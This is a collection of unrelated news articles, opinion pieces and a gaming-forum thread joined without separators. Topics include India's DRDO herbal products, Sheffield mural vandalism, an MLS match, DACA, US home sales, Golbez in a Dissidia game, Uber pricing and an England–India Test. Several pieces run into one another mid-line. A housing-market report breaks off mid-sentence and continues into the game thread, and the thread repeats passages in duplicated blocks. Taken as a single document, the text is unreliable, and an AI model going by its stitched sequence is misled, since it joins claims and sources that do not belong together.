Internet companies are unlikely to do this voluntarily this sort of marketing data is just too valuable. Which means that ultimately it's up to Congress to step in and pass strong consumer-privacy protections. There are many advantages to online shopping. Customers should be able to enjoy them without having to give up their privacy to private companies or the government. It's too high a price to pay, no matter how tempting the bargains or discounts are.
Cohen, a lawyer, is a former TIME writer and a former member of the New York Times editorial board. Case Study, his legal column for TIME.com, appears every Wednesday.
See TIME's Pictures of the Week.Aloe vera cream. Toothache medicine. Fruit juice. Self warming shoes. Medicines for skin disorders. Food supplements and tomatoes that can grow in extreme conditions. These are some of the things that you would normally find in a supermarket next door but there’s a chance that one of these things might actually have been manufactured not by some major multinational, but instead by the Defence Research and Development Organisation.
India's latest solution to chronic failure of DRDO. It really is defmin with baba ramdev and DRDO scientist pic.twitter.com/SkSmTWizgv
— Felix Nicholas (@Fanicholas) August 24, 2015
#IndiaToday RT newsflicks: More than herbal products & Baba Ramdev, DRDO needs to show results on defence side. St… pic.twitter.com/c6fpo5fj2p
— News Hunter (@TheBrkNews) August 24, 2015
Problem with Baba Ramdev deal: do we need #DRDO to make herbal drinks? Its output on armaments is zilch. Our arms, even pistols, imported
— Shekhar Gupta (@ShekharGupta) August 24, 2015
On Monday, the organisation inked a pact with yoga guru Baba Ramdev’s Patanjali Yogpeeth allowing it to market herbal supplements and food products produced by DRDO. On its radar is the transfer of technological know-how that could make use of seabuckthorns, an edible shrub that can be used to make pies, lotions, creams and jams, among other things.It can be argued that life sciences is a crucial part of military research as the survival of soldiers depends as much on their equipment as the food they consume, but the timing of DRDO’s effort clearly wasn’t the best. Many questioned why DRDO is getting itself into manufacturing herbal products while its mandate primarily is to develop defence equipment and armament technologies. Others wondered if DRDO should be involving itself in these things at all.The answer, could well lie in the fact that, for now, the organisation seems to be doing much better in making medicines and food supplements than mines or missiles.DRDO has been termed a “laggard” and its cost and time-frame outlay on crucial projects “ unrealistic ” and even Prime Minister Narendra Modi urged it to buck up during an address, asking it to finish projects on time, pointing out that “the world won’t wait for you.” In these harsh times, it is herbal research and life sciences that’s bringing in awards and laurels for the organisation.In 2010, it won an excellence award for its “qualitative and quantitative” changes in the way agriculture is practiced in the hilly regions of Leh in Ladakh. The organisation used seabuckthorn plants and set up a processing unit which delivered foods and supplies to army personnel while making the local farmers self-sufficient, it claimed in a press release.A closer look at DRDO’s portfolio, however, provides insight into how wide it has actually cast its net.: Developed by DRDO’s laboratory in Ladakh, Leh Berry is a fruit-based drink with a faintly spicy taste. This drink, however, is not just any other sugar syrup you would find in tetra packs as it claims to contain a good dose of vitamins and antioxidants which could reduce cholesterol and blood pressure.Made from the seabuckthorn plants to increase strength in army personnel, it is marketed by Godrej foods to consumers and has apparently become a favourite add-on to vodka for many in metros such as Delhi and Mumbai.: Apart from making good use of herbs and plants, DRDO has also been experimenting with ways to make tomato farming viable in extreme climate conditions. It reached a breakthrough with its “ transgenic tomatoes” which, once cropped, can tolerate anything from a drought to harsh cold. The tomato crop is still being tested for other extremities and could become a reality soon.: Frost bites and skin conditions such as eczema and leucoderma also known as vitiligo often trouble troops in harsh conditions and DRDO has a cure for that too. Called Lukoskin, the organisation produces an ointment and oral liquid which it claims is a formulation from Himalayan herbs. The organisation claims that the product is “quite effective” clinically and also “relieves the affected ones from mental stress, emotional and psychological trauma”.
Not just this, the organisation also produces an aloe vera cream which can be used as a skin nourishment that can even combat frostbites, among other things. DRDO spent Rs 5 crores on research on herbal medicines between year 2009-2012, the ministry of defence informed the parliament.: To make travel to space easier and feel more like home, the organisation added new items to its list of dried food products specially manufactured to be consumed in the outer space by astronauts. On the list are mango juice, pineapple juice, rice and chicken based items. The organisation had already mastered pastries and biscuits, and it added chicken biryani and lemon rice too in 2010.: For soldiers fighting at the extremely cold temperatures on Siachen Glacier, frost bites are always a menace and DRDO found a solution for that too. The organisation tweaked a food heating powder it had developed earlier to invent this formulation which can be put into a pouch that can be placed inside the shoes with some water or ice and it can keep feet warm even in subzero temperatures, the organisation claimed and added that it is in negotiations to manufacture it commercially while it files for a patent.In case you were wondering, here is the list of products DRDO manufactured during 2011-2014. And it does include a fair number of arms and equipment too.A husband and wife known for their much-loved Sheffield street art have had three pieces of work vandalised in one night.
The popular portrait of David Attenborough on Charles Street by Rocket01 has had the words ‘Womens Liberation’ [sic] scrawled across it.
Rocket01's Patrick Moore portrait suffered 'irreversible' damage
Around the corner from Attenborough, another of Rocket’s portraits has been completely ruined.
The mural of the late astronomer Sir Patrick Moore, on Froggatt Lane, has been sprayed with gold paint.
Rocket- whose real name is Chris Butcher- said the damage to the Moore piece is ‘irreversible’.
He hopes he will be able to cover up the damage to the Attenborough portrait, as well as to another of his murals that was defaced in the Antiques Quarter last week.
The vandalism Faunagraphic had to clear up. Credit: Laura Kishimoto
The bad news continued when Rocket’s wife discovered she had also fallen victim to vandalism.
Sarah Yates- better known as her artist name, Faunagraphic- had been working on a new mural behind the Red Lion pub on Charles Street for a street art event in the city this week.
This morning she discovered two spray-painted signs on her work that look like the head, torso and arms of a stick man - or the universal symbol for a female.
These are similar to the signs that appeared on both of the Moore and Attenborough portraits.
Faunagraphic re-doing the vandalised section of her new mural
As the street art scene in Sheffield is ‘quite a small community’, Rocket believes he knows who is behind the ‘tagging’ - another word for defacing art.
“One guy in particular decided to start destroying stuff,” he said.
“Some people like to create art. Others like to vandalise stuff. It’s upset us quite a lot,” he added.
Faunagraphic has been able to patch up her new piece and said she is not too worried about her work because it looked to her as if the vandal ‘was holding back’.
Faunagraphic re-doing the vandalised section of her new mural
She explained that only a small section of her mural has been sprayed on an unfinished part of the wall that was easy to re-do.
She said: “My husband’s ones are the ones to worry about.”
Although Rocket believes he knows who is behind the vandalism, he will not do anything about it.
He said: “What can we do? We are a family, we have two children. We haven’t got time to be running after people.”
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Download The Star's mobile app now for FREEThe quality wasn’t there. You need someone to step up in that game. Everyone can't be average, someone has to step up and take that game by the scruff and make a play. We had a few opportunities and didn’t do it.
SANDY — Real Salt Lake’s first-half script was a familiar one Saturday night — dominate possession early yet concede the first goal again. Unfortunately for RSL, the customary second-half script didn’t follow suit.
RSL has been the best team in MLS this season at digging itself out of holes, but it couldn’t overcome another moment of sloppiness at Rio Tinto Stadium in a stunning 1-0 loss to last-place Houston.
It was the first home loss of the season for Real Salt Lake, while just the second away victory for the Dynamo.
“It was a strange night and I think we were off our rhythm just a little bit, but that’s no excuse, we’re professionals, especially at home we have to find a way,” said Tony Beltran.
A terrible giveaway led to Houston’s only goal in the 36th minute, the fourth straight game RSL has conceded the opening goal in the first half. RSL fought back to earn points in its two prior home games when going down, but not against the resilient Dynamo.
RSL only had one shot on goal — which came in the 90th minute — and was shut out at home for the first time this season.
Despite the lack of shots, there were certainly a couple of quality chances, but Jamison Olave and Juan Manuel Martinez each missed a clear-cut header in the match.
“The quality wasn’t there. You need someone to step up in that game. Everyone can't be average, someone has to step up and take that game by the scruff and make a play. We had a few opportunities and didn’t do it,” said coach Jeff Cassar.
RSL didn’t lose any ground in the Western Conference standings as it remained in fourth place despite the loss, but it could’ve vaulted back into a second-place tie with Colorado and Los Angeles. Now suddenly a top-four seed for the playoffs doesn’t seem so certain.
“It’s a huge missed opportunity. All these home games going into playoffs that’s where we really want to pick up points and cement our spot,” said Jordan Allen, who entered the game early in the second half as a substitute.
The costly giveaway came in the 36th minute when Olave played a somewhat risky ball to John Stertzer despite two Houston players in close proximity about 35 yards from RSL’s own goal. Stertzer’s mistake was not recognizing the danger sooner, as Houston midfielder Ricardo Clark tapped the ball away from him and into the path of Alex who took two touches toward goal unmarked and then slipped a shot past Nick Rimando for the 1-0 lead.
“When you’re receiving the ball in those areas on the field, you have to anticipate that you’re going to get pressure,” said Cassar, who reiterated he has trust in Stertzer to deal with those situations. He didn’t in that moment, however, or the moment 20 seconds earlier when Houston stole the ball from him in a similar situation but squandered the chance.
Four minutes before conceding to the Dynamo, RSL nearly grabbed the lead as Olave elevated to a Luke Mulholland free kick, but his header sailed over the crossbar.
Cassar tried injecting more spark into the stagnant attack early in the second half by inserting Jordan Allen into the match for Stertzer in the 51st minute. In the 69th minute, Olmes Garcia entered for Mulholland.
Houston dealt well with whatever RSL threw forward.
“They were really disciplined in keeping their two blocks of four with one guy in between them, and they just made it difficult to break down. Any time you give away the first goal and you find yourself chasing the game it’s going to be difficult,” said Allen.
Houston had two terrific chances to double its lead in the second half, but Cristian Maidana’s shot hit the post in the 49th minute and then Rimando made a point-blank save on a 1v1 chance by Houston substitute Will Bruin in the 85th minute.
Real Salt Lake will have a week to regroup for next Saturday’s match against league-leading FC Dallas.The San Jacinto Ordnance Depot served as an ordnance demolition facility and a chemical weapons site during the 1940s and 1950s. The Defense Department won’t finish cleaning it up until 2084
A new investigation by ProPublica reveals there are more than 62 military installations or former installations across Texas contaminated by hazardous waste. One of the worst sits roughly 15 miles east of downtown Houston.
The San Jacinto Ordnance Depot occupies nearly 5,000 acres just east of the Sam Houston Ship Channel Bridge. It supplied the Army and Navy during World War II and the Korean War.
“The DoD has declared it a site that has chemical weapons, so we know it has mustard gas at the very least,” said Bay Scoggin, director of the Texas Public Interest Research Group. “And that’s enough of a problem right there obviously. Mustard gas is associated with a variety of neurological disorders.”
The location also served as an ordinance demolition facility, which Scoggin said indicates the likely presence of propellants such as nitroglycerin.
The depot’s location makes it vulnerable to flooding. “Obviously in the context of Hurricane Harvey, we worry about that,” Scoggin said, “as numerous Superfund sites all throughout the Gulf Coast flooded, and that has the potential to not only contaminate the air, as we would always be worried about, but in addition the water, which would create a new host of public health concerns.”
The Pentagon reports it will take less than $7 million dollars to clean up the facility. But it anticipates it won’t complete the work until 2084.GosuGamers.net launches DotA 2 portal
With the recent press release of Valve's "The International DotA 2 Championships", we feel it is right in time to present a new home for the upcoming eSports title. We give you GosuGamers.net/DotA2!
Patrik “Raistlin” Hellstrand Hi. I'm no longer involved in GosuGamers. Follow me on @phellstrand on Instagram and Twitter, or drop me an email on [email protected]
Over time we will implement well-known GosuGamers features such as our widely popular GosuBet, a team ranking, a high quality replay archive and a tournament platform as well as new exciting features.GosuGamers will as expected travel to Gamescom in Cologne, Germany to give you the full scope of not only the one-million-dollar tournament but also hands-on play reports. Keep yourself pinned to GosuGamers.net/DotA2 for the latest news, opinions and information!Police surrounded Comet Ping Pong, a Washington pizza parlor that was the subject of a fake news story claiming it was the center of a child sex ring orchestrated by Hillary Clinton and her campaign chief, after a man with an assault rifle entered the restaurant. (Jim Lo Scalzo/European Pressphoto Agency)
Are some news articles like acai berry fat-loss supplement offers? The answer could help determine whether U.S. elections can shed the weight of false information.
In an article published Monday by the New Jersey State Bar Association, MSNBC chief legal correspondent Ari Melber argues that the news is as much a product as a diet pill — and that the fake variety could be regulated by the Federal Trade Commission in the same way as phony claims about the belly-blasting power of a certain botanical.
It's a complicated contention.
“Absent the existence of libel, Supreme Court precedents suggest that the First Amendment protects a citizen expressing lies or their version of fake news,” conceded Melber, who has a law degree from Cornell. “Political operatives have strong case law to defend deceptive assertions as protected speech, especially if they show that the lies are part of some wider expression, be it political, satirical or artistic.”
However, Melber added, “the court has ruled that some commercial speech, like advertising or communication concerned solely with business, gets less First Amendment protection than political speech.”
If the FTC and the court system could agree that fake news isn't really a form of political discourse but is, instead, a kind of commercial offering in which “the political misinformation is the product,” then perhaps the nation's consumer-protection agency could stop some of it, he says.
In an interview, Melber zeroed in on fabricated articles concocted by foreign click-bait artists as one example of the kind of content he thinks could be regulated. For example: BuzzFeed reported in November on a bunch of teenagers in Macedonia who did not care about U.S. politics but discovered that making up stories about Donald Trump was a good way to draw traffic and, as a result, generate ad revenue.
“A simple way to put it would be: If a site has even 10 percent political expression by Americans, the Supreme Court suggests it's protected,” Melber said. “But if a site is 100 percent Macedonian commerce and is fraudulently counterfeiting a protected American product, it may not have the protection of the First Amendment.”
David C. Vladeck, former director of the FTC's Bureau of Consumer Protection, said he shares Melber's frustration with fake news but is skeptical that the agency could combat it in the way the MSNBC correspondent suggests. Vladeck noted that the FTC has shut down sites that masquerade as news while selling tangible products, such as those acai-berry supplements; he doubts that fake news itself could be considered a product, however — especially if people do not pay to read it.
“The FTC's jurisdiction extends only to cases where someone is trying to sell something,” said Vladeck, now a law professor at Georgetown. “Fake news stories that get circulated or planted or tweeted around are not trying to induce someone to purchase a product; they're trying to induce someone to believe an idea. There are all sorts of First Amendment problems, apart from, I think, the insuperable jurisdiction problems, that the FTC would have.”
Vladeck said he recognizes that some fake news sites are engaged in commerce, in the sense that they sell advertisements, but those ad sales are based on real web traffic.
“The deception doesn't take place in the selling,” he said. “It just takes place as a door opener to get people on the page.”
As Vladeck sees it, false information is not the product; the product purchased by advertisers on fake news sites is exposure to the sites' visitors. In that case, he said, “the deceptive claim doesn't really relate to the product.”
Melber, however, is optimistic that fake news websites' commercial purposes could be enough to make at least some of them subject to FTC oversight.
“I think it's a worthwhile challenge to explore, rather than preemptively surrendering and saying, 'Well, if we can't stop all of it or some of it's protected speech for good reason, then nobody should do anything about it,' " he said.Boomer Esiason has heard rumblings about Marvin Lewis retiring
Marvin Lewis may not remain the head coach of the Cincinnati Bengals for the long-term future. In fact, former Bengals quarterback Boomer Esiason says he has heard rumblings about Lewis potentially retiring.
During this week’s episode of “Inside the NFL” on Showtime, the crew of analysts were discussing coaches on the hot seat. Lewis was on the list, leading Esiason to say he has heard the coach may consider retiring after the season.
“Marvin Lewis — last year of his contract — he may retire at the end of the year,” Esiason said.
Esiason then pointed out how Lewis being in the final year of his contract is an unusual position for a coach.
“Very few coaches go into the final year of their contract. It would only be if Marvin retired. I’ve heard rumblings about that. I don’t want to speak for Marvin, but I think that’s one of the reasons you would go into a season without a contract extension.”
Lewis turns 59 later this month and has been Cincinnati’s coach since 2003. And while he’s brought stability and success to a previously downtrodden franchise, one big knock on him is that he hasn’t won a playoff game. The team has reached the playoffs seven times under Lewis (including four AFC North titles), but they’ve lost their first playoff game each time.
Lewis was said to be on the hot seat during a poor season for Cincinnati last year, so it makes sense that that sentiment would continue to this year. Him retiring would seemingly make for an easy transition to a new coach.President Trump is expected to phase out the Obama-era program that grants work permits to about 800,000 undocumented immigrants brought to the United States as children, but delay its end for six months to give Congress time to pass legislation to replace it, according to multiple people briefed on the president's discussions.
Trump's plan remains fluid and could change, however, and administration officials stressed Sunday evening that the president has not finalized his decision. The White House has scheduled an announcement for Tuesday.
Trump has been wrestling over the future of the Deferred Action for Childhood Arrivals (DACA) program since the start of his presidency, and he has been known to change his mind about difficult policy issues until the moment he makes public a decision.
Politico first reported Sunday evening that Trump had decided to end the DACA program.
Two people briefed on Trump's deliberations and a third person with knowledge of the internal discussions said that the White House is preparing to slowly phase out the program so Congress could pass legislation for an alternative program to help the program's recipients, known as "Dreamers." All of these people spoke on the condition of anonymity because of the sensitivity of the discussions.
Many questions remain about how the policy would be implemented, including how long after Trump's announcement current DACA beneficiaries would have to renew their protected status.
Should Trump move forward with this decision, he would effectively be buying time and punting responsibility to Congress to determine the fate of the Dreamers. There is a consensus view among many of his top advisers that the DACA program, which President Barack Obama created by executive action, would not stand up in a court of law.
Attorney General Jeff Sessions, senior policy adviser Stephen Miller and recently departed chief White House strategist Stephen K. Bannon have advocated a hard-line immigration stance with the president, including ending DACA.
During the campaign, Trump vowed to end DACA immediately. But he has since voiced sympathy for the program's beneficiaries, many of whom immigrated to the United States as young children and have lived here for most of their lives.
"We love the Dreamers," Trump told reporters Friday in the Oval Office. "We think the Dreamers are terrific."
Surrogates for Trump said Sunday that American workers would benefit from an end to the DACA program, which has let undocumented children work and study in the United States without fear of deportation, but congressional Republicans urged the White House to leave the program intact.
Attendees hold an American flag as they sing "God Bless America" at a Deferred Action for Childhood Arrivals (DACA) rally in Wilkes Barre, Pa., on Sept. 3. (Dave Scherbenco/AP)
Trump "wants to do what's fair to the American worker, what's fair to people in this country who are competing for jobs and other benefits," counselor to the president Kellyanne Conway said Sunday on "Fox & Friends." She said the president's decision should be viewed as part of an "entire economic and domestic agenda" that includes an end to sanctuary cities, increased border security and constructing a wall along the southern border.
"He says we have to keep people and poison out of our communities. People who are coming here illegally and competing for those jobs," Conway said.
In an appearance on "Fox News Sunday," Treasury Secretary Steven Mnuchin said he was "less concerned about the economic impact" of ending the DACA program because "we'll make sure that we have plenty of workers in this economy. We want to put more people back to work."
Neither Conway nor Mnuchin specified what Trump will say when he addresses the future of the DACA program Tuesday.
As a candidate, Trump promised to end the program, but he has never acted on that promise. Instead, he has several times expressed sympathy for the plight of DACA recipients — and eschewed signing draft executive orders presented to him that would end the program.Sales of new homes dropped to their lowest level since the government started tracking the numbers more than four decades ago, offering an ominous sign for the direction of the already fragile housing market.
The Commerce Department's report, released Wednesday, was the second this week to underscore home buyers' crumbling confidence.
It said new homes sold in July at an annual rate of 276,000, off 12.4 percent from June's pace while plummeting 32.4 percent from a year earlier. That's the lowest level since 1963 and far worse than what analysts expected.
The report comes a day after the National Association of Realtors said sales of existing homes in July plunged to their lowest point in more than a decade. Sales were down 27.2 percent from June, the largest monthly drop since 1968.
Some housing experts attributed the weak results to the expiration of a home buyers' tax credit in April, which lured people to buy homes earlier than they had planned and created a buying frenzy in early spring that ate into future purchases.
But many economists say the reports show that the weakness in the real estate market cannot be explained solely by the skewed sales generated by the tax-credit program. Deep-rooted fears about the job market and the direction of the broader economy may now be making prospective home buyers more reluctant to pull the trigger on a major purchase.
"There's clearly something more at play here," said Mark Vitner, a senior economist at Wells Fargo Securities. "The economy is backsliding a little bit.... It seems clear that consumers are holding back on committing to major purchases, such as buying a home."
These purchases plunged in every region of the nation, led by a 35 percent drop in the Northeast, followed by a decline of 25.5 percent in the Midwest, 15.1 percent in the South and 9.8 percent in the West.
The government also reported that the average price of a new home dropped to $253,300, the lowest reading since early 2003. Meanwhile, homes are sitting on the market for about 11 months, said Patrick Newport, an economist at HIS Global Insight. In a healthy market, the norm is about five months, he said.
Although new-home sales are dwarfed by activity in the existing-homes market, they are closely watched because they are a sign of the health of the construction industry, which creates a significant swath of jobs and contributes to economic growth.
The Commerce Department also reports new-home sales when contracts |
increase.
Dash
Abyss Quasar: II (while dashing). Fires a large explosion at the opponent's location. When in BD mode, size of explosion and range increase.
HP attack
Night Glow: IV. Fires a wave of energy that chases the enemy. Can be charged in BM mode. Can glide.When in BD mode, not sure what changes, but seems like attack can be charged for more damage and range or something.
EX Skill
Binding Cold: I (when in BD mode). Summons freezing air at the enemy's position. Can be charged in BM mode for increased range.Causes Freeze status
Summon Black Dragon: I (when not in BD mode). SUMMONS A BLACK DRAGON. Super quick loose translation, but should mostly be right.Source:https://www.famitsu.com/matome/dff/character27.htmlhttps://www.youtube.com/watch?v=ypcrhKQ1uFoGolbez enters the fray as a SHOOT type who attacks with his black dragon. Until he has received 1000 HP damage, Golbez starts the battle in "Black Dragon mode", where he is able to cast various strong spells. Even if the Black Dragon is gone, it can be summoned back using Golbez's unique EX Skill "Black Dragon Summon". Overwhelm your foes with a myriad spells!BRV attacksGroundCold Blast: II. Fires icicles that chase the opponent. Can glide. When in BD mode, size of icicle, range and glide speed increase.Wind Sphere: Forward II. Fires a slow tracking ball of wind towards the enemy. Can glide. When in BD mode, size of projectile, range and glide speed increase.Delay Spark: Back II. Summons a ball of lightning that will then fire consecutive attacks. Can glide. When in BD mode, size of ball, range and glide speed increase.MidairHeat Blast: II. Fires a high speed projectile. Can glide. When in BD mode, size of projectile, range and glide speed increase.Aqua Sphere: Forward II. Cast a slowly tracking sphere of water. Can glide. When in BD mode, size of sphere, range and glide speed increase.Delay Earth: Back II. Fires a series of rocks that chases the opponent after a delay. Can glide. When in BD mode, size of rocks, range and glide speed increase.DashAbyss Quasar: II (while dashing). Fires a large explosion at the opponent's location. When in BD mode, size of explosion and range increase.HP attackNight Glow: IV. Fires a wave of energy that chases the enemy. Can be charged in BM mode. Can glide.When in BD mode, not sure what changes, but seems like attack can be charged for more damage and range or something.EX SkillBinding Cold: I (when in BD mode). Summons freezing air at the enemy's position. Can be charged in BM mode for increased range.Causes Freeze statusSummon Black Dragon: I (when not in BD mode). SUMMONS A BLACK DRAGON.
User Info: xdividebyzerox xdividebyzerox 1 year ago #2 This is just my analysis of it. Seems like Golbez's playstyle seems to revolve around not getting hit at all (which means be prepared for everyone to come after you) and keeping Black Dragon around to keep your moves buffed and wreck opponents with Binding Cold -> HP attack.
He seems underwhelming without the dragon so constantly taking HP hits will likely not end well.
User Info: Yarott Yarott 1 year ago #3 hexacoto posted...
HP attack
Night Glow: IV. Fires a wave of energy that chases the enemy. Can be charged in BM mode. Can glide.When in BD mode, not sure what changes, but seems like attack can be charged for more damage and range or something.
Seems like the Black Dragon mode version allows sparks to blast out from the epicenter of the wave. Meaning, it has a defensive application when executing the attack, hurting whoever gets too close. While the dragonless version doesn't have the sparks, but has longer reach. Meaning, that the Black Magic mode attacks might have OTHER applications than simply being smaller versions of the Dragon mode moves. Otherwise, Night Glow is simply yet another tracking vertical beam wave HP attack. If I am wrong, then point it out with an explanation why. Infographics are welcomed.
The Official Stiltzkin of all boards Seems like the Black Dragon mode version allows sparks to blast out from the epicenter of the wave. Meaning, it has a defensive application when executing the attack, hurting whoever gets too close. While the dragonless version doesn't have the sparks, but has longer reach. Meaning, that the Black Magic mode attacks might have OTHER applications than simply being smaller versions of the Dragon mode moves. Otherwise, Night Glow is simply yet another tracking vertical beam wave HP attack.
User Info: hexacoto hexacoto (Topic Creator) 1 year ago #4 Yarott posted...
hexacoto posted...
HP attack
Night Glow: IV. Fires a wave of energy that chases the enemy. Can be charged in BM mode. Can glide.When in BD mode, not sure what changes, but seems like attack can be charged for more damage and range or something.
Seems like the Black Dragon mode version allows sparks to blast out from the epicenter of the wave. Meaning, it has a defensive application when executing the attack, hurting whoever gets too close. While the dragonless version doesn't have the sparks, but has longer reach. Meaning, that the Black Magic mode attacks might have OTHER applications than simply being smaller versions of the Dragon mode moves. Otherwise, Night Glow is simply yet another tracking vertical beam wave HP attack.
Yea the Japanese text mentioned about energy emanating from Golbez while charging, so maybe that'll hurt enemies too, making the attack an immediate range HP attack (when in BD mode) and a long range attack at the same time. I just didn't have the time to sit down and think about what that translation meant haha. Yea the Japanese text mentioned about energy emanating from Golbez while charging, so maybe that'll hurt enemies too, making the attack an immediate range HP attack (when in BD mode)a long range attack at the same time. I just didn't have the time to sit down and think about what that translation meant haha.
User Info: Shihali Shihali 1 year ago #5 The Famitsu page says that if Golbez takes 1000 or more HP damage at once he loses the dragon. So taking hits constantly won't end well, but he can keep that dragon a while.
User Info: hexacoto hexacoto (Topic Creator) 1 year ago #6 Shihali posted...
The Famitsu page says that if Golbez takes 1000 or more HP damage at once he loses the dragon. So taking hits constantly won't end well, but he can keep that dragon a while.
Yup, that is right. It has to be a single HP attack that is 1000 brv or more, I realise I was translating too close to the way it was written in Japanese that can lead to confusion.
But then again, 1000 brv is standard brave so... anyone from the get go can be a threat to golbez's dragon. Yup, that is right. It has to be a single HP attack that is 1000 brv or more, I realise I was translating too close to the way it was written in Japanese that can lead to confusion.But then again, 1000 brv is standard brave so... anyone from the get go can be a threat to golbez's dragon.
User Info: RPGSaga RPGSaga 1 year ago #7 BWAHAHAHAHAHA!!!! Huh? 1000 brv seems too low for me. They should place the limit at 1200 at least. That way enemies must endeavor to hit with brv attacks first instead of spamming HP attacks to anihilate the poor dragon.
User Info: Rodostafio Rodostafio 1 year ago #8 I also think 1000 its a bit low.
Its the starting BRV base. If you manage to eat a single non-brv-fueled HP attack, you have just lost the dragon.
User Info: RPGSaga RPGSaga 1 year ago #9 I posted a while ago...
1000 brv seems too low for me. They should place the limit at 1200 at least. That way enemies must endeavor to hit with brv attacks first instead of spamming HP attacks to anihilate the poor dragon.
Now that I think of it, maybe 1000 is fine IF dragon-boosted attacks are OP, and dragonless attacks aren't overly lame. But that's yet to see, I guess.
And there's also the other three HP attacks, that may get a huge boost with the dragon as well. Let's see how they balance this.
*EDIT*
I'm gonna miss his invincible jump! I think he needs it now more than ever if he's to avoid a constant HP attack rain! BWAHAHAHAHAHA!!!! Huh? Now that I think of it, maybe 1000 is fine IF dragon-boosted attacks are OP, and dragonless attacks aren't overly lame. But that's yet to see, I guess.And there's also the other three HP attacks, that may get a huge boost with the dragon as well. Let's see how they balance this.*EDIT*I'm gonna miss his invincible jump! I think he needs it now more than ever if he's to avoid a constant HP attack rain!Uber is a luxury car service that sells increased convenience for a high price. It may be seen as a symptom of a wealthy lifestyle which rubs many people the wrong way. So what should you do if you don't like Uber? You should not use Uber.
I put forward this option in order to distinguish it from other, more vague proposals, such as "Throw Uber's asshole CEO in jail" or "Pass some sort of law against Uber's pricing scheme." If you find Uber objectionable, the proper thing to do is to cast your economic vote against Uber by not giving them any money. If you are particularly passionate about this issue, organize a large-scale boycott of Uber. But do not sit around complaining about Uber while also using Uber. That is nonsense.
Uber is a luxury good. If I were ranking urban transportation options in order of affordability, I would probably say 1) Walking 2) Riding the subway or bus 3) Taking a cab 4) Calling a car service 5) Uber 6) A private car and driver. Notice that Uber is at the very upper end of the price range. Uber is expensive because it is convenient. You can summon it without even making a phone call; your credit card is on file, so there is no need to pay the driver directly; just tap a button, and a car appears to whisk you to your destination. What a world!
Uber sets its price according to demand. The higher the demand, the higher the price. During busy hours, the price is higher. For busier destinations, the price may be higher. This pricing scheme has three main purposes. First, it makes more money for Uber. Second, it provides an incentive for drivers to make themselves available during times of high demand, meaning that it is possible for Uber users to get a car when they want one. And third—this one often goes unmentioned—it should disincentivize people from using Uber when it is most expensive. You, the consumer, know just how much an Uber ride is going to cost you. If you know that that ride will be absurdly expensive, you can either suck it up and pay it, or—more rationally—not use Uber.
It is perfectly appropriate to mock and denounce someone for paying $357 for an Uber ride of less than an hour. But assuming that the "surge price" multiple and the fare structure was made clear up front, the denunciation should be targeted at the rider, for being such a profligate rube. Anyone who knows even the broadest outlines of Uber's prices should know enough not to use it except in case of dire emergency.
I rarely take taxis. Regular taxi usage adds up to a lot of money. The people who live in New York City and use taxis more than the subway are either rich, or fools. Either way, they forfeit their right to complain about their choices. They are addicted to convenience. They know the cost. And they pay it. This is many more times as true for users of Uber, who cannot even be bothered to stand outside and hail a cab. I have never used Uber, and I never would unless I was on an expense account, because that shit is too expensive. If too many people feel the same way as me, Uber will either need to reduce its prices or go out of business. But if, instead, people use Uber, pay Uber's prices, and then whine about Uber afterwards, Uber will not need to change a bit. Actions speak louder than empty complaints.
Uber—like housecleaning services and laundry pickup and Seamless.com—is a luxury good for people with too much disposable income. Most people rarely use such items, because they are too expensive. If you believe that widespread use of such unnecessary luxuries is a symptom of systemic social and economic inequality (and economic illiteracy) in this country, I would have to agree with you. If you find this situation to be gross and outrageous, the thing to do is to take political action to change that system. Hollering at Uber because you are mad that you willingly and knowingly paid them an absurd amount of money to take you home does not qualify as useful activism. Likewise, if you believe that the cities in which Uber operates should have better public transportation options, you are correct. This should be taken up with federal, state, and local governments. Not with a car service.
As far as I'm concerned, Uber can go to hell. But I feel the same way about companies that make sweaters for dogs, and they just keep on existing, because people keep buying them. If you really can't stand Uber, the most meaningful thing you can do is to not use it. If you can't even manage to do that, your complaints are hollow.
[Pic via]The sense of entitlement in the Indian team and their media acolytes is quite staggering. Clearly, they appeared to be saying before the first Test, we are so good, so super-fine, that we do not require the preparation of others. We, after all, are India. Perhaps they might have taken notice of the old sporting mantra about failing to prepare and preparing to fail.
The demands of the Indian Premier League, however understandable from the financial sense, have undermined the preparation of Mahendra Singh Dhoni's team to such a degree that the Indian cricket board, if it has any integrity when it comes to the status of Test cricket, should investigate it and if necessary limit the participation of its international stars.
Virender Sehwag is not here having delayed a shoulder operation until after the IPL, Gautam Gambhir missed the West Indies tour because of it, Zaheer Khan's fitness was compromised by it, Sachin Tendulkar's mental resource drained by it. India's sole successes in what, given the massive advantage they were accorded by winning the toss, was a defeat of such magnitude that it bordered on humiliation, were from those players who were in the Caribbean.
The excuses from the team and their apologists have been endless: India, we are told, are notoriously slow starters and just wait until Trent Bridge; the pitch, said Dhoni, was uneven and our batsmen were forced to play at deliveries they would rather have left; the loss of Zaheer on the first day was critical; Sachin was ill; we were forced to bat out of position. Anything that could go wrong, said Dhoni citing Murphy's Law, did. No mention that perhaps the side that played well as a unit, outbowled them, outbatted them, outfielded them, looked fitter and more purposeful, were better led, and having been put in were still able to declare twice, deserved to win the match.
Of course Zaheer was a loss but go into a Test match with an unquestionably brilliant but ageing bowler of suspect resilience, especially abroad, and virtually no current level of fitness for the long form of the game, and then have as your only back-up option the stumper taking off his pads and turning his arm over, and you reap what you sow. At times in the match, India were a shambles, a masquerade, and it would serve them well this week if instead of looking for excuses they were honest with themselves and found some valid reasons for their failure. No good being slow starters if the horse in front has bolted.
England, for all their success, will no more underestimate their opponents second time around than they did Australia in the winter. In Adelaide they just about played the perfect game, but here at Lord's there were flaws. If Zaheer's departure was a hammer blow for India, then the advantage England got from the loss of 40 overs on the first day, when conditions were at their most bowler-friendly and the excellent Praveen Kumar had the ball on a string, was inestimable. But Jonathan Trott's unflappability, the most responsible innings of his life from Kevin Pietersen, and the combative efforts of Matt Prior saw them through to flourish in calmer times thereafter.
In the end, though, a side wins Test matches because the batsmen between them score sufficient runs to give the bowlers enough in the bank at which to bowl. For England, the equation is telling and a fundamental reason why they are now within a whisker of snatching away that coveted No1 ranking. In the nine Tests since the start of the Ashes series they have not failed to bowl the opposition out in the first innings and only three times, in the draw at Brisbane when Australia had minimum time, and twice in rain-affected matches against Sri Lanka, have they failed to do so second time around as well. To have dismissed India twice for under 300 on what, despite Dhoni's assertion was a pretty decent batting pitch with the real trickery coming from the atmosphere, was a fine achievement.
